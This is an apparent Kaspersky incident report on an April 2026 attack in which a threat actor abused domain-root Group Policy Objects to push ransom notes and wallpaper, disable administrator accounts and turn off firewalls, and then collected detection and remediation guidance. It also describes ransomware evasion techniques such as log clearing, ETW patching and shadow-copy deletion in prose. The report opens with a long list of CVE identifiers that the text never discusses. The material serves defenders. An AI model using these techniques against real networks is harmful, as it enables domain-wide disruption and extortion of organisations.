CVE-2026-53205, CVE-2026-53206, CVE-2026-53207, CVE-2026-53208, CVE-2026-53209, CVE-2026-53210, CVE-2026-53211, CVE-2026-53213, CVE-2026-53214, CVE-2026-53217, CVE-2026-53218, CVE-2026-53219, CVE-2026-53220, CVE-2026-53222, CVE-2026-53223, CVE-2026-53226, CVE-2026-53227, CVE-2026-53229, CVE-2026-53230, CVE-2026-53231, CVE-2026-53232, CVE-2026-53233, CVE-2026-53234, CVE-2026-53235, CVE-2026-53236, CVE-2026-53237, CVE-2026-53238, CVE-2026-53239, CVE-2026-53240, CVE-2026-53241, CVE-2026-53242, CVE-2026-53243, CVE-2026-53244, CVE-2026-53245, CVE-2026-53248, CVE-2026-53249, CVE-2026-53250, CVE-2026-53251, CVE-2026-53252, CVE-2026-53253, CVE-2026-53254, CVE-2026-53255, CVE-2026-53256, CVE-2026-53257, CVE-2026-53258, CVE-2026-53259, CVE-2026-53261, CVE-2026-53262, CVE-2026-53263, CVE-2026-53264, CVE-2026-53265, CVE-2026-53266, CVE-2026-53267, CVE-2026-53268, CVE-2026-53269, CVE-2026-53270, CVE-2026-53271, CVE-2026-53272, CVE-2026-53273, CVE-2026-53274, CVE-2026-53275, CVE-2026-53276, CVE-2026-53325, CVE-2026-53326, CVE-2026-53327, CVE-2026-53328, CVE-2026-53329, CVE-2026-53330, CVE-2026-53331, CVE-2026-53332, CVE-2026-53333, CVE-2026-53334, CVE-2026-53335, CVE-2026-53336, CVE-2026-53337, CVE-2026-53338, CVE-2026-53339, CVE-2026-53340, CVE-2026-53341, CVE-2026-53342, CVE-2026-53343, CVE-2026-53344, CVE-2026-53345, CVE-2026-53346, CVE-2026-53347, CVE-2026-53348, CVE-2026-53349, CVE-2026-53350, CVE-2026-53351, CVE-2026-53352, CVE-2026-53353, CVE-2026-53354, CVE-2026-53355, CVE-2026-53356, CVE-2026-53361, CVE-2026-53362, CVE-2026-53363, CVE-2026-53366, CVE-2026-53381, CVE-2026-53382, CVE-2026-53383, CVE-2026-53384, CVE-2026-53385, CVE-2026-53386, CVE-2026-53387, CVE-2026-53388, CVE-2026-53389, CVE-2026-53390, CVE-2026-53391, CVE-2026-53392, CVE-2026-53393, CVE-2026-53394, CVE-2026-53395, CVE-2026-53396, CVE-2026-53397, CVE-2026-53398, CVE-2026-53399, CVE-2026-53400, CVE-2026-53401, CVE-2026-53402, CVE-2026-53403, CVE-2026-63794, CVE-2026-63795, CVE-2026-63796, CVE-2026-63797, CVE-2026-63798, CVE-2026-63799, CVE-2026-63800, CVE-2026-63801, CVE-2026-63802, CVE-2026-63803, CVE-2026-63804, CVE-2026-63805, CVE-2026-63806, CVE-2026-63807, CVE-2026-63808, CVE-2026-63809, CVE-2026-63810, CVE-2026-63811, CVE-2026-63812, CVE-2026-63813, CVE-2026-63814, CVE-2026-63815, CVE-2026-63816, CVE-2026-63817, CVE-2026-63818, CVE-2026-63819, CVE-2026-63820, CVE-2026-63821, CVE-2026-63822, CVE-2026-63823, CVE-2026-63824, CVE-2026-63825, CVE-2026-63826, CVE-2026-63827, CVE-2026-63828, CVE-2026-63829, CVE-2026-63830, CVE-2026-63831, CVE-2026-63832, CVE-2026-63833, CVE-2026-63834, CVE-2026-63835, CVE-2026-63836, CVE-2026-63867, CVE-2026-63868, CVE-2026-63869, CVE-2026-63870, CVE-2026-63871, CVE-2026-63873, CVE-2026-63874, CVE-2026-64187, CVE-2026-64188, CVE-2026-64189, CVE-2026-64191, CVE-2026-64192, CVE-2026-64205, CVE-2026-64206, CVE-2026-64207, CVE-2026-64244, CVE-2026-64245, CVE-2026-64246, CVE-2026-64247, CVE-2026-64249, CVE-2026-64251, CVE-2026-64253, CVE-2026-64254, CVE-2026-64255, CVE-2026-64256, CVE-2026-64258, CVE-2026-64259, CVE-2026-64260, CVE-2026-64261, CVE-2026-64262, CVE-2026-64263, CVE-2026-64264, CVE-2026-64265, CVE-2026-64266, CVE-2026-64267, CVE-2026-64268, CVE-2026-64269, CVE-2026-64270, CVE-2026-64271, CVE-2026-64272, CVE-2026-64273, CVE-2026-64274, CVE-2026-64275, CVE-2026-64276, CVE-2026-64277, CVE-2026-64278, CVE-2026-64279, CVE-2026-64280, CVE-2026-64282, CVE-2026-64283, CVE-2026-64284, CVE-2026-64285, CVE-2026-64286, CVE-2026-64287, CVE-2026-64288, CVE-2026-64289, CVE-2026-64290, CVE-2026-64291, CVE-2026-64292, CVE-2026-64293, CVE-2026-64294, CVE-2026-64295, CVE-2026-64296, CVE-2026-64297, CVE-2026-64298, CVE-2026-64299, CVE-2026-64300, CVE-2026-64301, CVE-2026-64302, CVE-2026-64303, CVE-2026-64304, CVE-2026-64305, CVE-2026-64306, CVE-2026-64307, CVE-2026-64308, CVE-2026-64309, CVE-2026-64310, CVE-2026-64312, CVE-2026-64313, CVE-2026-64314, CVE-2026-64315, CVE-2026-64316, CVE-2026-64317, CVE-2026-64318, CVE-2026-64319, CVE-2026-64320, CVE-2026-64321, CVE-2026-64322, CVE-2026-64323, CVE-2026-64324, CVE-2026-64325, CVE-2026-64326, CVE-2026-64327, CVE-2026-64328, CVE-2026-64329, CVE-2026-64330, CVE-2026-64331, CVE-2026-64332, CVE-2026-64333, CVE-2026-64334, CVE-2026-64335, CVE-2026-64336, CVE-2026-64337, CVE-2026-64338, CVE-2026-64339, CVE-2026-64340, CVE-2026-64341, CVE-2026-64342, CVE-2026-64343, CVE-2026-64344, CVE-2026-64345, CVE-2026-64346, CVE-2026-64347, CVE-2026-64348, CVE-2026-64350, CVE-2026-64351, CVE-2026-64352, CVE-2026-64353, CVE-2026-64354, CVE-2026-64355, CVE-2026-64356, CVE-2026-64357, CVE-2026-64358, CVE-2026-64359, CVE-2026-64360, CVE-2026-64361, CVE-2026-64362, CVE-2026-64363, CVE-2026-64364, CVE-2026-64365, CVE-2026-64366, CVE-2026-64367, CVE-2026-64368, CVE-2026-64369, CVE-2026-64370, CVE-2026-64371, CVE-2026-64372, CVE-2026-64373, CVE-2026-64374, CVE-2026-64375, CVE-2026-64376, CVE-2026-64377, CVE-2026-64378, CVE-2026-64379, CVE-2026-64380, CVE-2026-64381, CVE-2026-64382, CVE-2026-64383, CVE-2026-64384, CVE-2026-64385, CVE-2026-64386, CVE-2026-64387, CVE-2026-64388, CVE-2026-64389, CVE-2026-64390, CVE-2026-64391, CVE-2026-64392, CVE-2026-64393, CVE-2026-64394, CVE-2026-64395, CVE-2026-64396, CVE-2026-64397, CVE-2026-64398, CVE-2026-64399, CVE-2026-64400, CVE-2026-64401, CVE-2026-64402, CVE-2026-64403, CVE-2026-64404, CVE-2026-64405, CVE-2026-64406, CVE-2026-64407, CVE-2026-64408, CVE-2026-64409, CVE-2026-64410, CVE-2026-64411, CVE-2026-64412, CVE-2026-64413, CVE-2026-64414, CVE-2026-64415, CVE-2026-64416, CVE-2026-64417, CVE-2026-64418, CVE-2026-64419, CVE-2026-64420, CVE-2026-64421, CVE-2026-64422, CVE-2026-64423, CVE-2026-64424, CVE-2026-64425, CVE-2026-64426, CVE-2026-64428, CVE-2026-64429, CVE-2026-64430, CVE-2026-64432, CVE-2026-64433, CVE-2026-64434, CVE-2026-64435, CVE-2026-64436, CVE-2026-64438, CVE-2026-64439, CVE-2026-64440, CVE-2026-64441, CVE-2026-64442, CVE-2026-64443, CVE-2026-64444, CVE-2026-64445, CVE-2026-64446, CVE-2026-64447, CVE-2026-64448, CVE-2026-64449, CVE-2026-64450, CVE-2026-64451, CVE-2026-64452, CVE-2026-64453, CVE-2026-64454, CVE-2026-64455, CVE-2026-64456, CVE-2026-64457, CVE-2026-64458, CVE-2026-64459, CVE-2026-64460, CVE-2026-64461, CVE-2026-64462, CVE-2026-64463, CVE-2026-64464, CVE-2026-64465, CVE-2026-64466, CVE-2026-64467, CVE-2026-64468, CVE-2026-64469, CVE-2026-64470, CVE-2026-64471, CVE-2026-64472, CVE-2026-64473, CVE-2026-64474, CVE-2026-64475, CVE-2026-64476, CVE-2026-64477, CVE-2026-64478, CVE-2026-64479, CVE-2026-64480, CVE-2026-64481, CVE-2026-64482, CVE-2026-64483, CVE-2026-64484, CVE-2026-64485, CVE-2026-64486, CVE-2026-64487, CVE-2026-64488, CVE-2026-64489, CVE-2026-64490, CVE-2026-64491, CVE-2026-64492, CVE-2026-64493, CVE-2026-64494, CVE-2026-64495, CVE-2026-64496, CVE-2026-64497, CVE-2026-64499, CVE-2026-64500, CVE-2026-64501, CVE-2026-64502, CVE-2026-64503, CVE-2026-64504, CVE-2026-64505, CVE-2026-64507, CVE-2026-64508, CVE-2026-64509, CVE-2026-64510, CVE-2026-64511, CVE-2026-64512, CVE-2026-64513, CVE-2026-64514, CVE-2026-64529, CVE-2026-64536, CVE-2026-64556, CVE-2026-64588, CVE-2026-64589, CVE-2026-64590, CVE-2026-64591, CVE-2026-64592, CVE-2026-64593, CVE-2026-64594, CVE-2026-64596, CVE-2026-64597, CVE-2026-64598, CVE-2026-64599, CVE-2026-64600, CVE-2026-64601, CVE-2026-64602, CVE-2026-64603, CVE-2026-64604, CVE-2026-68084, CVE-2026-68085, CVE-2026-68087, CVE-2026-68088, CVE-2026-68089, CVE-2026-68090, CVE-2026-68091, CVE-2026-68092, CVE-2026-68459, CVE-2026-68460, CVE-2026-68461, CVE-2026-74584, CVE-2026-80591)

Executive summary In April 2026, we at Kaspersky’s Global Emergency Response Team (GERT) responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization’s Active Directory environment and authored a malicious Group Policy Object (GPO) named PAYLOAD, linking it at the domain root. Through that single object, the actor delivered ransom notes, hijacked the desktop wallpaper and lock screen, enforced a logon banner, and disabled the local administrator account across every domain-joined Windows workstation — all without dropping a ransomware binary or encrypting any data. The only ransomware we found in this incident was PAYLOAD sample targeting ESXi on Linux servers. Besides that, data exfiltration was observed originating from the file servers and several additional systems, and was later published on the dark web. This case is an example of two converging trends that define the 2026 ransomware landscape : Living-off-the-land abuse of trusted AD infrastructure. Group Policy is a signed, allowlisted, SYSTEM-privileged distribution channel that the majority of endpoint detection and response tools is designed not to inspect. By delivering impact through GPO rather than through malware, the actor sidestepped the entire file- and process-based detection stack. Encryptionless extortion. Industry telemetry shows extortion-only incidents grow significantly year-on-year. PAYLOAD fits this model; the leverage is operational disruption and the threat of escalation rather than cryptographic denial of data. We confirmed that no files were encrypted on Windows machines, no malicious binaries were resident on disk, no endpoint persistence was established, and no malicious processes were running at the time of analysis. The entire attack lived inside Active Directory itself. The defensive implication is stark: an organization whose detection strategy depends on catching a ransomware executable would have seen nothing until the first endpoint rebooted and the ransom wallpaper appeared. In this article, we will describe the GPO attack chain and provide operational advice on how to detect such threats, including detailed remediation recommendations. Group Policy as an attack surface Attacks through group policies are nothing new. They can inflict significant, domain-wide damage with multiple malicious capabilities. A Group Policy Object (GPO) is essentially a combination of a Group Policy Container (GPC) in Active Directory and a Group Policy Template (GPT) in SYSVOL. The Group Policy scope depends on whether the GPC is linked to the directory tree at the domain, site, or organization unit (OU) level. A link at the domain root means the policy applies to every computer and user object beneath it. Thus, a GPO compromised at the domain root can affect all in-scope domain users and computers, potentially granting an attacker complete control over the corporate network. What makes GPO abuse even more dangerous is that group policies are processed in a trusted, high-privilege environment, ensuring persistence because endpoint cleanup is not enough to remove them. We have already discussed GPO architecture and ways it can be compromised in greater detail in an earlier blog post . Other public threat intelligence has also repeatedly documented this technique in ransomware operations. Microsoft observed Ryuk operators distributing ransomware through Group Policy, SYSVOL startup items, and PsExec. LockBit affiliates have been documented modifying SYSVOL Group Policy files, including ScheduledTasks.xml, to support ransomware execution and propagation. BlackCat/ALPHV operators have also abused GPOs to create scheduled tasks and deploy ransomware. Another notable example of GPO abuse is PAYLOAD ransomware, which weaponizes GPO Preferences and policy settings for pure impact rather than as a launcher for an encryptor. Let’s take a closer look at this attack, which is detailed further below. Attack timeline During the April 2026 investigation, we managed to reconstruct the attack timeline as outlined below: Date Event 11 April Initial access. Threat actor authenticates to the FortiGate SSL VPN using a valid but compromised domain credential. 13 April GPO authored. Malicious GPO, PAYLOAD ({C897F2C7-C2AC-4E6F-BF48-58036FF29E79}) created and linked at the domain root, configuring ransom notes, wallpaper, lock screen, logon banner, and administrator account disablement. 13 April SYSVOL staging. The payload.jpg and hello.txt files written to \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\. 13 April Second GPO. GPO named win Firewall Off ({22099AD2-E062-4F56-B574-5099BBA4E7A6}) linked at the domain root, disabling Windows Firewall on all profiles. 13 April Dormancy. GPO cached on endpoints but computer configuration not yet applied — no endpoint had rebooted since the policy update. 13 April Data exfiltration. Data exfiltration was observed originating from the file servers and several additional systems. 14 April Detonation. Most of the endpoints begin rebooting; computer configuration policies apply. Ransom wallpaper, logon banner, and notes appear. Operational disruption begins. 15 April Response. Kaspersky GERT engaged. Forensic triage of affected workstations and the domain controller initiated. 16 April Assessment. GERT confirms no file encryption, no resident malware, no endpoint persistence. Next, we will discuss each of these stages in more detail and share the findings from our incident response activities. Incident overview Initial access The entry vector was a compromised valid account (MITRE ATT&CK T1078) used to authenticate through the organization’s FortiGate SSL VPN — an external remote service (T1133). Insufficient logging on the FortiGate appliance prevented us from reconstructing how the credential was originally compromised. Three hypotheses were considered plausible in the context of the attack, in no particular order: Password spraying or credential stuffing against the SSL VPN portal. Phishing-led credential harvesting. Purchase of pre-compromised credentials from an initial access broker (IAB). Once on the internal network, the actor operated with the compromised security principal’s privileges. Because the account was able to create and link a GPO at the domain root, it held either domain admin privileges or a delegated equivalent (e.g., membership of Group Policy Creator Owners combined with link rights on the domain object). FortiGate SSL VPN authentication logs and ESXi/virtualization privilege escalation logs were insufficient to reconstruct the lateral movement and privilege escalation chain between initial VPN access and the GPO write privilege level. The most common real-world routes to GPO control — DCSync , Kerberoasting of privileged service accounts, and Pass-the-Hash/Pass-the-Ticket — could not be confirmed or ruled out. Execution Rather than deploying an encryptor, the actor abused the victim’s Active Directory policy infrastructure, resulting in malicious GPOs being configured and linked at the domain root to deliver the observed impact across domain-joined systems. The two GPOs below constitute the entire offensive toolkit observed. The PAYLOAD GPO We performed a Resultant Set of Policy (RSOP) analysis, which helped us list all policy settings on the affected workstations. From these results, we reconstructed the following changes delivered by PAYLOAD: GPO extension/CSE Setting/path Configured value/resulting action Files (Group Policy Preference) Source SYSVOL\hello.txt → Desktop, C:\, D:\ Dropped as README-payload.txt (ReadOnly) Registry (Computer) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption Welcome to Payload! Registry (Computer) HKLM\…\Policies\System\legalnoticetext (ransom demand text) Personalization Policy Lock Screen Image \\DC.THECOMPANY.local\sysvol…\payload.jpg Desktop Policy (User) Wallpaper path \\DC.THECOMPANY.local\sysvol…\payload.jpg Security Settings (GptTmpl.inf) Accounts: Administrator account status Disabled The PAYLOAD GPO enabled the following actions: Drop SYSVOL\hello.txt to the desktop and root directories C:\ and D:\ as a read-only README-payload.txt by tampering with the “Group Policy Files” client-side extension (CSE). Modify the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ registry key, changing the legalnoticecaption value to "Welcome to Payload!" and the legalnoticetext to the ransom note text through the “Group Policy Registry” CSE. Set payload.jpg located in the targeted domain controller’s SYSVOL as the lock screen image by altering the personalization policy, and as the wallpaper by altering the desktop policy at the user level. Revoke administrator rights for the administrator account (locking the account) by editing the Security Settings CSE in the GptTmpl.inf file. Settings changed by PAYLOAD GPO This activity was enabled entirely through a legitimate group policy mechanism, meaning there is no malware code for security solutions to look for because the malicious logic is contained within the policy configuration. The win Firewall Off GPO A second domain-root-linked GPO, named “win Firewall Off”, disabled Windows Firewall across the domain, private and public profiles on all endpoints (T1562.004). Deployed independently of PAYLOAD, this object degraded host defenses and ensured the actor retained unimpeded network reach to endpoints for any follow-on activity. Settings changed by win Firewall Off GPO The one-day delay detonation The most forensically instructive detail is the one-day gap between GPO creation (13 April) and visible impact (14 April). Analysis of Master File Table (MFT) timestamps and the Group Policy History registry key confirmed the policy was written to SYSVOL and cached on endpoints on 13 April. However, computer configuration settings (wallpaper and lock screen machine policy, security settings, firewall disabling) only apply upon reboot or policy refresh — and no endpoint had rebooted in the interim. The attack therefore remained dormant in the GPO cache for one day before detonating en masse when machines were restarted in accordance with standard procedures. We have to point out here that this delayed policy application is characteristic of GPO-based operations and has two potential consequences for defenders. Firstly, it may grant the actor a quiet window for exfiltration, persistence, or further staging between weaponization and impact. Secondly, it can be used to sever the temporal link between the cause (a GPO-creation event in the directory log) and the effect (mass user-visible disruption occurring at a later time), complicating timeline reconstruction unless directory service auditing is in place. Forensic findings Initial incident response engagement revealed a number of findings associated with the attack that we share below. No file encryption A full review of the MFT on affected workstations found no files bearing a .payload extension characteristic to PAYLOAD ransomware and no evidence of bulk renaming or encryption I/O patterns. The attackers’ objectives were operational disruption and extortion via visual impact and access denial. No endpoint persistence All standard persistence locations were clean: Scheduled tasks — no malicious tasks Run/RunOnce keys — clean Startup folders (user and system) — clean Services — no malicious service installed WMI event subscriptions — none Boot sector/MBR — unmodified The attack’s persistence mechanism is the GPO link itself on the domain controller, with no endpoint-resident component. No active malicious processes Live process and memory analysis revealed no injected threads, process hollowing or anomalous outbound connections. Registry timeline analysis Group Policy History, Shadow and State registry keys on the workstation recorded the application of PAYLOAD on 13 April: HKLM\…\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\1 HKLM\…\Group Policy\Shadow\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\0 HKLM\…\Group Policy\State\Machine\GPO-List\7 HKCU\…\Group Policy\History\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}\1 HKCU\…\Group Policy\State\S-1-5-21-…\Loopback-GPO-List\5 The presence of the “Loopback-GPO-List” entry indicates the GPO was processed in loopback mode , ensuring the user configuration (wallpaper) applied regardless of which user logged on to the machine. SYSVOL artifacts Two files were staged on the domain controller’s SYSVOL share and served to endpoints through the Files Group Policy Preference CSE: payload.jpg — the ransom image used for both wallpaper and lock screen. hello.txt — the ransom note, distributed to desktops and drive roots as README-payload.txt. Detection engineering Because no malicious binary or process exists, the detection logic should focus on the directory service and SYSVOL indicators. Below are the highest-value telemetry sources for identifying the described malicious activity. Directory service change auditing (DS Access) Enable Advanced Audit Policy → DS Access → Audit Directory Service Changes on all domain controllers and set up alerts for the following events: Event ID Meaning Hunt focus 5137 A directory service object was created The account that created new groupPolicyContainer objects must be an authorized GPO administrator 5136 A directory service object was modified Changes to gPLink on the domain root or sensitive organizational units; changes to gPCMachineExtensionNames / gPCUserExtensionNames / gPCFileSysPath / versionNumber for all GPOs 5141 A directory service object was deleted GPO deletions (relevant for tamper detection and remediation assessment) A gPLink modification at the domain root by a non-standard account is one of the most telling indicators of this attack class. SYSVOL file integrity monitoring Monitor \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\Policies\ for unexpected files, particularly image files, text files, scripts, ScheduledTasks.xml, and modified registry.pol/GptTmpl.inf files that were created by sources other than legitimate replication. Endpoint policy application telemetry On endpoints, GPO application is logged in the Group Policy Operational log (Microsoft-Windows-GroupPolicy/Operational) and reflected in the History and Shadow registry keys shown above. A sudden domain-wide change to the applied policy set is a strong post-detonation signal. Missing 5136 events If the contents of a GPO’s SYSVOL change without a corresponding 5136 event, this can indicate direct SYSVOL/template editing (e.g., via open-source tools such as PowerView or SharpGPOAbuse) that bypasses the normal Group Policy Management Console (GPMC) modification path. While we recommend treating the absence of expected audit events as suspicious, it should be noted that this can be caused by misconfigured auditing. Anti-forensics and recovery-inhibition capabilities Confirmed PAYLOAD family capabilities The Windows endpoint attack described in this report was implemented through malicious Group Policy Objects and did not involve a recovered ransomware executable, resident endpoint malware, confirmed file encryption or active malicious processes at the time of the forensic examination. However, PAYLOAD cryptomalware for Windows does exist, and other sources, including public analysis of its samples, reveal further malicious capabilities of this ransomware that could be used by security teams to enrich detection logic and security policies. The behaviors documented in this section must therefore be interpreted as family-level capabilities identified through the public reverse engineering of PAYLOAD ransomware samples. They were not confirmed as having executed during the GPO-based incident unless corresponding evidence was identified in the host, memory, process, event-log, or hypervisor. Windows Event Log clearing Public reverse engineering of the PAYLOAD Windows variant reveals an optional event log clearing capability (T1685.005, formerly T1070.001). The ransomware dynamically resolves Windows Event Log APIs, enumerates available event log channels, and clears individual channels. Implementation artifacts include: Runtime loading of wevtapi.dll EvtOpenChannelEnum EvtNextChannelPath EvtClearLog Enumeration of Security, System, Application, and PowerShell logs, and operational channels A command-line option controlling whether log clearing is performed Clearing event logs reduces the availability of records related to process execution, authentication, PowerShell, service control, and system changes. However, it does not necessarily remove events that were already forwarded to a SIEM, Windows Event Collector, EDR backend, or protected log archive. Forensic indicators Windows Security Event ID 1102 Event logging shutdown or failure events Sudden reductions in event record identifiers Multiple event channels restarting from low record numbers Gaps between endpoint and centrally forwarded telemetry Execution of utilities or APIs associated with log management Direct access to EVTX files (Windows Event Log files) under the Windows event log directory We should note that these indicators can’t be interpreted on their own. For instance, Event ID 1102 should be correlated with a number of aggravating factors, such as: Event ID 4688 or Sysmon Event ID 1 for process creation Event ID 4624 for the associated administrative logon EDR process trees PowerShell operational logging Windows Event Forwarding records Privileged access management activity At the same time, the absence of Event ID 1102 does not prove that log clearing did not occur. Direct deletion, truncation, service impairment, or an incomplete audit configuration may produce different evidence. Security process and service termination PAYLOAD analysis reveals that the Windows ransomware variant contains logic that targets security processes and services (T1685 and T1489). This capability is intended to stop security products, backup software, database services, and applications that may lock files targeted for encryption. Process and service termination serves several objectives: Reduce endpoint detection and response visibility. Release file handles so data can be modified. Interrupt backup and recovery services. Prevent databases and enterprise applications from protecting active data. Reduce interference with encryption operations. Forensic indicators Security agent services changing from running to stopped Event ID 7036 service state changes Event ID 7040 service start type changes Event ID 4688 or Sysmon Event ID 1 for service control utilities Sysmon Event ID 5 for terminated processes EDR health degradation affecting many endpoints Repeated termination attempts against security or backup processes Execution of dedicated process killing utilities VSS deletion, backup and recovery suppression Public PAYLOAD sample analysis reports the deletion of Windows Volume Shadow Copies before encryption (T1490). This behavior removes local restore points and reduces the victim’s ability to recover files without external backups. Recovery inhibition is broader than VSS deletion and may include multiple other malicious techniques, including the following: Deleting shadow copies, backup catalogs, and hypervisor snapshots Disabling recovery services Modifying boot recovery settings Compromising backup management platforms Deleting or encrypting backup repositories In the PAYLOAD Windows sample that is proven to perform encryption, VSS deletion is confirmed to have taken place before encryption. A broader compromise of the backup platform was not established in the investigated incident. Forensic indicators Execution of shadow copy management utilities Backup catalog deletion attempts Recovery configuration changes Backup service termination Mass snapshot deletions Backup administrator logons outside normal maintenance windows Backup retention or immutability changes Backup jobs failing immediately before disruptive activity Ecosystem-relevant ransomware techniques Above, we discussed the techniques specific to PAYLOAD ransomware. In this section, we’ll review other common ransomware techniques, such as BYOVD abuse and ESXi policy weakening, that remain relevant risks in the ransomware ecosystem. However, these techniques should not be attributed to this incident without supporting driver load, process, memory, ESXi, vCenter, or backup platform telemetry. We describe these techniques below as they may prove useful in other ransomware-related forensic investigations. The examples used in this section are therefore ecosystem-relevant: they are commonly observed in ransomware operations but not conclusively attributed to the analyzed PAYLOAD samples. ETW suppression and in-memory patching Event Tracing for Windows (ETW) is a kernel-supported tracing architecture used by Windows components, diagnostic utilities, security products, and endpoint monitoring systems. Although we didn’t encounter this technique in our case, some ransomware families can patch ETW-related functions inside the ransomware process (T1685, formerly T1562.001). The reported routine changes the memory protection of code pages, overwrites the beginning of selected ETW functions so they return without producing events, restores the original protection, and refreshes the instruction cache. Reported target functions include EtwEventWrite , EtwEventWriteFull , EtwEventWriteTransfer , and EtwRegister . This modification applies to the process-local mapping of ntdll.dll. It does not disable ETW globally across Windows, but it can reduce the telemetry generated by the modified process. Forensic indicators Writable or recently modified executable pages within ntdll.dll Memory protection changes affecting ETW function addresses In-memory code differing from the corresponding clean DLL on disk EDR memory tampering alerts Unexpected calls to memory protection APIs followed by telemetry silence Process execution visible in network or filesystem telemetry but absent from expected ETW-derived sources Inconsistent telemetry between EDR, Sysmon, Windows Event Logs, and network monitoring It should be noted that telemetry gaps are not conclusive evidence of ETW patching. Other factors include agent upgrades, network outages, endpoint shutdowns, SIEM ingestion failures, collector backpressure, and filtering or licensing changes. Memory acquisition is the strongest validation source when process-local ETW patching is suspected. Vulnerable signed driver abuse, BYOVD Bring Your Own Vulnerable Driver (BYOVD) involves introducing or abusing a legitimately signed but vulnerable kernel driver (T1068 and T1685). The attacker exploits the driver’s exposed functionality to gain kernel-level capabilities, modify protected memory, terminate security processes, remove security callbacks, or bypass operating system security controls. BYOVD is highly relevant to contemporary ransomware operations. However, the reviewed public PAYLOAD analyses do not provide sufficient evidence to conclude that BYOVD is an intrinsic PAYLOAD capability. It should therefore be presented as an ecosystem-relevant technique rather than a confirmed PAYLOAD feature. Forensic indicators Unexpected .sys files written to user-writable or temporary directories New kernel driver services Sysmon Event ID 6 Driver hashes matching Microsoft or community vulnerable driver blocklists Invalid, revoked, expired, or unusual driver signatures Driver load followed by EDR termination New privileged processes immediately following driver loading Code Integrity or Defender alerts Service creation events referencing driver files ESXi security policy weakening Ransomware operators are increasingly targeting ESXi and vCenter because compromising the virtualization layer provides access to many business-critical virtual machines. Public research typically describes operators performing the following activities (T1685, T1490 and T1489): Enabling SSH on ESXi hosts Changing root passwords Disabling execInstalledOnly Modifying lockdown mode exceptions Stopping virtual machines Deleting snapshots and backups Changing host firewall policies Copying custom ransomware binaries to hypervisors On the target organization’s Linux servers we saw an ESXi PAYLOAD variant, which makes this behavior operationally relevant. Nevertheless, the reviewed evidence does not indicate that PAYLOAD operators used any of these policy-weakening actions in the investigated incident. Forensic indicators Unexpected ESXi SSH enablement Changes to execInstalledOnly Secure Boot enforcement changes Lockdown mode configuration changes Root password changes New or unusual administrator accounts Bulk VM shutdown activity Bulk snapshot deletion New binaries in datastore or temporary paths vCenter tasks originating from unexpected accounts or systems Missing or disabled remote syslog forwarding Remediation To contain the described threat and limit possible damage, several remediation steps should be taken. Below, we recommend a four-phase remediation approach for containing this threat and restoring the affected environment. Phase 1 — domain controller actions (to be performed first) When dealing with PAYLOAD GPO, the first priority of the remediation plan should be to remove the source GPOs. Until this is done, endpoint cleanup is ineffective because the next policy refresh re-infects cleaned machines. The immediate domain controller actions to be taken are: Delete PAYLOAD GPO. Remove {C897F2C7-C2AC-4E6F-BF48-58036FF29E79} via GPMC. Delete or revert win Firewall Off GPO. Remove {22099AD2-E062-4F56-B574-5099BBA4E7A6}. Clean SYSVOL. Delete jpg and hello.txt from \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\. Rotate credentials. Reset the compromised account; audit all privileged accounts and group memberships for unauthorized changes; rotate krbtgt twice if domain admin compromise is confirmed. Force refresh. Perform gpupdate /force across endpoints after deletion; re-enable local administrator and firewall via clean policy. Phase 2 — Active Directory and GPO hardening Adopt the AD tiered administration model and confine domain admins to Tier 0 with no interactive logon to workstations and member servers. Separate GPO creation from GPO linking rights, and grant both only to a dedicated, audited administrator role. Enable GPO change auditing (Event IDs 5136, 5137, 5141) and forward to a SIEM. Monitor SYSVOL with file integrity tooling. Phase 3 — credential and access hardening Enforce phishing-resistant MFA on all VPN and remote access entry points. Deploy Windows LAPS to generate unique, rotated local administrator passwords. Enable Credential Guard to protect LSASS-resident secrets. Adopt Privileged Access Workstations (PAW) for all administration. Implement just-in-time elevation through Privileged Identity Management (PIM) for domain admin. Phase 4 — detection and monitoring SIEM rule: GPO creation or domain-root gPLink change by a non-standard account. SIEM rule: file creation events under SYSVOL from non-replication sources. Implement enhanced, centrally collected FortiGate SSL VPN logging (auth events, session detail, source IP geolocation, impossible travel check) and detailed perimeter monitoring. Deploy a canary GPO whose application anywhere signals attacker GPO write access. Conclusion PAYLOAD demonstrates a maturing tactic of turning the victim’s own trusted infrastructure into a weapon. By weaponizing Group Policy, the actor achieved a domain-wide impact without a single malicious binary on any endpoint, evaded file- and process-based detection entirely, and caused organization-wide disruption within seconds of the first reboot. The absence of encryption is the most strategically significant finding and is consistent with the 2026 trend toward encryptionless extortion . At Kaspersky GERT, we assess with moderate confidence that the missing encryption reflects one of two scenarios: (1) a deliberate decision to stay below the irreversible data destruction threshold while preserving the option of a follow-on encryption phase, or (2) an operation interrupted before full execution. The absence of encrypted files must not be mistaken for the absence of a serious compromise — the most critical impact lies in the actor gaining domain admin-level control. This incident proves that a threat actor with domain admin access and a working knowledge of group policy internals can inflict domain-wide disruption equivalent to a ransomware attack without writing a single malicious file to any endpoint. Detection strategies anchored solely in file- or process-based indicators are blind to this attack class. Effective controls include directory service change auditing, SYSVOL integrity monitoring, and privileged access governance, which allow for GPO protection. Detection by Kaspersky solutions Kaspersky security solutions effectively detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below. To protect organizations that use our Kaspersky SIEM system, we have prepared a package of correlation rules designed to help detect this type of malicious activity. The rules are now available for customers to download from the SIEM repository; the package name is: [OOTB] Group policy hijacked: PAYLOAD ransomware – ENG. The “Group policy hijacked: PAYLOAD ransomware” package contains rules that detect suspicious file creation or modification in the SYSVOL shared folder on a domain controller, as well as changes to critical attributes and settings of domain group policies. Some rules may require adjustment if they trigger in response to legitimate activity, such as synchronization between domain controllers or the configuration of a new group policy. To ensure the detection rules function correctly, verify that events from Windows systems are being received in full, including events with the following identifiers: Sysmon: 11, Security — 4663, 5136, 4657. We also recommend applying the following rules available in the repository to detect all attack stages. Detection of Windows Event Log clearing to cover up traces of an attack: R050_03_Windows Event Log was cleared Detection of suspicious access to the LSASS process, which may indicate attempts to dump credentials: R262_Suspicious access to the LSASS process Detection of the Volume Shadow Copy service being started, which is used to create shadow copies before deleting them: R231_20_Running the Volume Shadow Copy service Detection of shadow copy deletion: R321_Shadow copy 